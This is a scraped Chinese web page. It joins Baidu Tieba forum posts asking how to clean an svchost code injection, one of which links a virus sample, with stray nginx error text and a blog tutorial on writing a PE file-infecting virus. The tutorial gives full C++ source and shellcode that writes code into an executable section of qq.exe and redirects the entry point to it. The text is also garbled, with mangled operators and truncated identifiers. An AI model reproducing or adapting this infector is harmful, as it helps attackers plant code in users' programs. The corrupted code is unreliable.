怎么把病毒注入exe程序启动注入dll

求助狐吧大神,病毒注入svchost代码怎么破?_firefox吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:71,210贴子:
求助狐吧大神,病毒注入svchost代码怎么破?收藏
事情是这样的,今天下软件中了病毒,nod32没防住,然后我断网杀毒处理掉了。现在电脑里没有病毒进程,但是nod32每隔几分钟提示一次内存中有病毒,无法清除。用PT查看这个进程的确不正常这里说有代码注入,请问这个怎么破,电脑知识有限没辙了
找年会酒店上会小二,30分钟提供3-6套年会场地方案,免服务费,省钱30%-50%!
大蜘蛛试试
nod32清毒能力据说不行
换杀毒试试
安全模式,直接删除这个文件.
可以进PE从别的系统里提取一个替换 少壮不追妹,老大去相亲
你得找到它病毒的源文件在哪~它是伪装成系统文件还是注入dll了~~如果是无文件病毒的话,还要看看是不是注入到注册表里了等等,最好是动态 测试下那个进程
你们这些人啊,瞧不上360偏偏又要用,真是滑稽
红伞路过,红火组合没中过毒
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或The page is temporarily unavailable
nginx error!
The page you are looking for is temporarily unavailable.
Please try again later.
Website Administrator
Something has triggered an error on your
This is the default error page for
nginx that is distributed with
It is located
/usr/share/nginx/html/50x.html
You should customize this error page for your own
site or edit the error_page directive in
the nginx configuration file
/etc/nginx/nginx.conf.svchost代码注入怎么破?_病毒吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:61,302贴子:
svchost代码注入怎么破?收藏
今天中了病毒,nod32没防住。我断网杀毒处理掉了,但是nod32每隔几分钟就提示内存中有病毒,无法清除。用PT查看的确有个进程不正常。虽然系统现在没什么异常但是搞得人很不爽,求助该怎么处理?病毒样本二楼,各位大神可以研究一下。
找年会酒店上会小二,30分钟提供3-6套年会场地方案,免服务费,省钱30%-50%!
链接:http://pan.baidu.com/s/1qYfbd60
这个进程结束以后过一会儿又会自动启动。怀疑是有任务计划程序,因为进程中找到了这两个不常见的。
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或您的位置: &
利用线程注入实现Autorum病毒专杀程序
优质期刊推荐向exe注入代码
向exe注入代码
PE病毒初探——向exe注入代码
PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度:
PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。
有一种病毒是针对PE文件进行的操作,他们会感染一些exe,将自己的代码添加到exe中并在某处悄悄地窃取执行权限执行自己的代码进行破坏或者是其他不为人知的勾当。
才写了个头就跑去跟个程旭媛讨论技术问题去了,不禁让我想起之前的一张图片。。程序员苦逼不解释。
下面就进入正题。
1、PE文件格式
PE文件格式游如下图给出
2、代码注入
&&&&&& 由PE格式可以知道,PE文件的数据和代码都存储在PE头之后的一些session中,其中有些session的属性是可执行的,里面的数据就能被当成计算机指令在cpu中执行。
&&&&&& 注入代码的目标就是这些可执行的session(其实还有一种注入方法是增加额外的session,但是这样做会增加exe文件的大小,不过这样可以放更多的代码,由于这次要插入的代码数量较小所以选择已经存在的session下手)。
&&&&& 由于文件在磁盘中存储是按块存储的,每块的大小是固定的,因此这样会在某些数据中存在额外多余的部分,这个部分就是代码需要插入的区域。
if((int)p-&SizeOfRawData-(int)p-&Misc.VirtualSize&codeslength+datalength&&\&&&(p-&Characteristics&IMAGE_SCN_MEM_EXECUTE))//判断剩余片段大小是否和需要插入的代码和数据的&&{
&&&&&& /*。。。。。。。。。。。。。。。
&&&&&&& 处理一些地址相关的信息,再将代码写入该区域
&&&&&& 。。。。。。。。。。。。。。。*/
下面上一张图解释下插入的情形。
由以上的分段信息可以看出第二个区段有较大的碎片区域,那么所插入的数据和需要插入的代码就可以插入到碎片二的地方(令第二个区段必须有可执行的权限,否则即使将数据插入进该断,也无法得到执行)
插入后的情况见下图:
&剩余部分就是碎片区域,由于插入的代码都是汇编代码对应的机器码,所以可以用以下方法获得一段汇编代码的机器码:
void CodeInfo(int *start,int *CodeSize){&DWORD s,e;&_asm&{&&push eax&&&mov eax,begin1&&&mov s,eax&&&mov eax,end1&&&mov e,eax&&&jmp end1begin1:
这里放你需要的汇编代码end1:&&pop eax
&}&*start=s;&*CodeSize=e-s;
然后在主程序里面调用该函数,通过start和size两个参数利用memcpy函数即可得到需要的汇编代码
3、如何让程序执行你插入的代码
对于每个exe而言其在被操作系统装入内存后所执行的第一句代码所在地址在PE头中已经被指定好了
只需将这个地址修改成为你插入的代码的起始位置就行了
4、如何确定数据的位置
虽然我们已经能知道插入的数据所在的物理位置,但这个位置不是真正程序在内存中的位置,而为什么之前指定程序入口地址会有用呢?是因为这些定位操作系统会自动帮你改变,而要访问这些数据是你自己的事情,操作系统不会帮你做你自己的事情。
因此有必要自己定位数据,不过令人高兴的是这些数据在内存中与代码的相对偏移是不变的,因此只要知道当前代码所在的位置就能很好的定位数据的位置。利用以下汇编代码就能轻松定位当前代码执行地址:
call AA:&&& &&pop edi //获取当前地址给edi
至于原理请大家自行去查看汇编call调用的基本原理
利用获得的EDI做些加减法就能很快定位你要的数据了。
5、如何动态获取API函数
获取API函数是个令人头疼的问题,因为不同的exe在装载之后有些模块的地址会不一样,需要动态定位这些模块,在在这些模块中找到你需要的API地址。
本例中需要插入的代码主要实现的执行一个messagebox函数显示一个对话框。
回想在C++中调用Messagebox函数是只需使用MessageBoxA(0,“context”,“title”,0)就行了,但是在汇编状态下需要确定messageboxA的地址再push一些参数最后调用call就可以了。
MessageBoxA是存在于user32.dll中,所以理所当然利用GetProcAddress()函数就能获得,而GetProcAddress需要知道user32.dll模块的地址,那么显然只要用LoadLibrary()函数就能确定user32.dll模块的地址,那么现在已经比较明朗了需要知道GetProcAddress(),LoadLibrary()两个函数就可以了,其他需要的API都可以通过这两个函数来确定。
幸运的是GetProcAddress(),LoadLibrary()两个函数都存在于kernel32.dll当中,而kernel32.dll这个模块基本上每一个exe都需要调用到,所以最终只要确定kernel32.dll的地址就行了
下面给出利用汇编动态定位kernel32.dll地址的方法
mov edx,fs:[30h]&&&&&&& //获得PEB&&mov edx,[edx+0ch]//get peb_ldr_data&&mov edx,[edx+1ch]//get InInitializationOrderModuleList&&mov edx,[edx]&&mov eax,[edx+50h]//此时eax中存放的就是kernel32.dll的地址
利用eax加一下GetProcAddress(),LoadLibrary()两个函数在于kernel32.dll中的相对偏移就能正确定位这两个函数的地址了(GetProcAddress(),LoadLibrary()两个函数在kernel32.dll中的相对偏移是固定不变的不过随着系统的版本不同会有不一样,在同一个系统中是一样的)
6、如何回归原程序
在执行完认为插入的代码之后还需要做一件事——将控制权交还给原程序,当然对于那些具有破坏性的病毒而言这一步做不做无所谓,甚至在之前的插入过程中选择直接覆盖就行了。
不过这里还是要考虑回归正途,在之前修改程序入口地址的时候知道了原程序的入口地址这里要回去只要进行简单的jmp就行了,不过要注意这个jmp后面跟的是偏移地址,所以得做一次减法才行,而且还需考虑jmp代码本身的字节长度。
到这里就基本完成了一个简单的感染PE文件的病毒的编写,由于某些原因上面的内容写的比较粗糙
下面就来看一下程序的执行结果:
首先感染一个自己编写的helloworld 的exe文件
下图是感染后的结果,程序一开始执行时先跳出了MessageBox对话框
再看看感染QQ的情况
直接将QQ.exe从QQ的安装目录里面拷贝出来放在桌面双击会发现毫无反应,没出现系统报错的对话框,也没出现什么提示信息,在进程管理器里面也找不到刚才执行的QQ.exe的身影,我猜这是因为QQ用于本文中提到的相似的方法做过一些特殊处理,遇到运行时异常之后直接退出了,以后可以跟踪调试下看。。。
不过这并不影响我们的病毒对它的感染,用本文中德方法感染桌面的QQ.exe之后再双击执行只出现了一个对话框
请无视后面那个菊花=。=
在任务管理器中查看相关进程可以找大QQ.EXE的身影:
到此基本结束了,不过最后还是要放一下大招,直接上原代码,有兴趣的可以自行编译不过其中还是设置了一些小Bug,可能会导致最终感染失败,嘿嘿
#include&Windows.h&#include&iostream&#include&fstream&
BOOL& IsPeFile(LPVOID& ImageBase)&& //判断是否是PE文件结构{&PIMAGE_DOS_HEADER& pDosHeader = NULL;&PIMAGE_NT_HEADERS& pNtHeader& = NULL;
&if(!ImageBase)&&return FALSE;&pDosHeader = (PIMAGE_DOS_HEADER) ImageB
&if(pDosHeader-&e_magic != IMAGE_DOS_SIGNATURE)&&return FALSE;&pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader-&e_lfanew);&if(pNtHeader-&Signature != IMAGE_NT_SIGNATURE )&&return& FALSE;&return&&& TRUE;}
PIMAGE_NT_HEADERS& GetNtHeader(LPVOID& ImageBase) //获取NT结构指针{&PIMAGE_DOS_HEADER& pDosHeader = NULL;&PIMAGE_NT_HEADERS& pNtHeader& = NULL;
&if(!IsPeFile(ImageBase))&&return& NULL;&pDosHeader = (PIMAGE_DOS_HEADER)ImageB&pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader-&e_lfanew);&return&&& pNtH}
PIMAGE_FILE_HEADER& WINAPI& GetFileHeader(LPVOID& Imagebase){&PIMAGE_FILE_HEADER& pFileH&PIMAGE_NT_HEADERS& pNtHeader = NULL;&pNtHeader = GetNtHeader(Imagebase);&if(!pNtHeader)&&return& NULL;&pFileHeader = & pNtHeader-&FileH &return& pFileH}
PIMAGE_OPTIONAL_HEADER& GetOptionalHeader(LPVOID& ImageBase){&PIMAGE_OPTIONAL_HEADER& pOptionHeader = NULL;&PIMAGE_NT_HEADERS& pNtHeader = NULL;&pNtHeader = GetNtHeader(ImageBase);&if(!pNtHeader)&&return& NULL;&pOptionHeader = & pNtHeader-&OptionalH&return& pOptionH}
BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva){
&//定义变量存储转换后的偏移值和节表数&DWORD FileO&WORD nSectionN
&//取NT结构头&IMAGE_NT_HEADERS& *pNTH&pNTHead=GetNtHeader(lpMoudle);&nSectionNum=pNTHead-&FileHeader.NumberOfS
&//取节表结构头&IMAGE_SECTION_HEADER *pSectionH&pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));
&//循环比较Rva值所对应节表的偏移&for(int i=0; i&nSectionN i++)&{&&if((pSectionHead-&VirtualAddress&=Rva) && (Rva&(pSectionHead-&SizeOfRawData+pSectionHead-&VirtualAddress)))&&{&&&FileOffset=Rva-pSectionHead-&VirtualAddress+pSectionHead-&PointerToRawD&&&return FileO&&}&&pSectionHead++;&}&return FALSE;}
BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva){&DWORD offect=RvaToOffset(lpMoudle,Rva);&/*if(offect==NULL||offect==FALSE)&&return FALSE;*/&return (DWORD)lpMoudle+}&
VOID HandleSessionTable(LPVOID file,LPVOID base){&char funcname[16]="MessageBoxA";&char DLLname[16]="user32.dll";&char Caption[16]="Warning";&char Content[16]="This is test";&DWORD LoadLibraryAAddr=0x1f864;&DWORD GetProcAddress=0x24c46;&&char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b"&& //////这里的数据就只插入代码&&"\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b"&& //////的二进制机器码&&"\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"&&"\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"&&"\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"&&"\xe9\x00\x00\x00\x00";
&int datalength=16*4+8;&int codeslength=sizeof(codes)-1;&&IMAGE_NT_HEADERS *nthead=GetNtHeader(base);&IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));&if(sessionhead-&VirtualAddress==NULL)&&&DWORD sessionnum=nthead-&FileHeader.NumberOfS&IMAGE_SECTION_HEADER *p=&DWORD sFileSize=GetFileSize(base,NULL);&for(int i=0;i&i++)&{&&cout&&(char*)p-&Name&&" " &&(int)p-&SizeOfRawData-(int)p-&Misc.VirtualSize&&&&IMAGE_SECTION_HEADER//=&&memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));&& &&if((int)p-&SizeOfRawData-(int)p-&Misc.VirtualSize&codeslength+datalength&&\&&&(p-&Characteristics&IMAGE_SCN_MEM_EXECUTE))&&{&&&DWORD datavirtualbase=p-&VirtualAddress+p-&Misc.VirtualS&&&DWORD datafileoffect=p-&PointerToRawData+p-&Misc.VirtualS&&&SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);&&&WriteFile(file,funcname,16,0,0);&&&WriteFile(file,DLLname,16,0,0);&&&WriteFile(file,Caption,16,0,0);&&&WriteFile(file,Content,16,0,0);&&&WriteFile(file,&LoadLibraryAAddr,4,0,0);&&&WriteFile(file,&GetProcAddress,4,0,0);&&&DWORD codevirtualbase=p-&VirtualAddress+p-&Misc.VirtualSize+&&&DWORD cedefileoffset=p-&PointerToRawData+p-&Misc.VirtualSize+&&&p-&Misc.VirtualSize+=(codeslength+datalength);&&&SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);&&&DWORD oldentry=nthead-&OptionalHeader.AddressOfEntryP&&&DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-5)-5;&&&memcpy(codes+codeslength-4,&JMPOffset,sizeof(DWORD));&&&nthead-&OptionalHeader.AddressOfEntryPoint=&&&DWORD writesize=0;&&&SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);&&&if(!WriteFile(file,codes,codeslength,&writesize,0) )&&&{&&&&TCHAR& *&&&&::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );&&&&MessageBox(0,buffer,L"ok",0);&&&}&&&cout&&"success"&&&&&& &&}&&&p++;&}
void main(){
&&HANDLE& hFile = CreateFile(L"qq.exe",&&&&&&&&&& // open& pe file &&GENERIC_READ|GENERIC_WRITE,&&&&&&&&&&&&& // open for reading &&NULL,&&&&&&&&&& // share for reading &&NULL,&&&&&&&&&&&&&&&&&&&&& // no security &&OPEN_EXISTING,&&&&&&&&&&&& // existing file only &&FILE_ATTRIBUTE_NORMAL,&& // normal file &&NULL);&&&&&&&&&&&&&&&&&&&& // no attr. template &&HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);&if(!hFileMap )&{&&TCHAR& *
&&::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );&&MessageBox(0,buffer,L"ok",0);&}&LPVOID& lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);
&if(IsPeFile(lpMemory))&{&&//AnalyzeNTHEADER(lpMemory);&&cout&&"yes"&&&&IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);&&IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);&&cout&&"DataDirectory num:"&&image-&NumberOfRvaAndSizes&&
&&HandleSessionTable(hFile,lpMemory);
&}&else&&cout&&"no"&&
&UnmapViewOfFile(lpMemory);&CloseHandle(hFileMap);&CloseHandle(hFile);
&system("pause");}
发表评论:
馆藏&20998
TA的最新馆藏[转]&

我要回帖

更多关于 动力文章 注入程序 的文章

 

随机推荐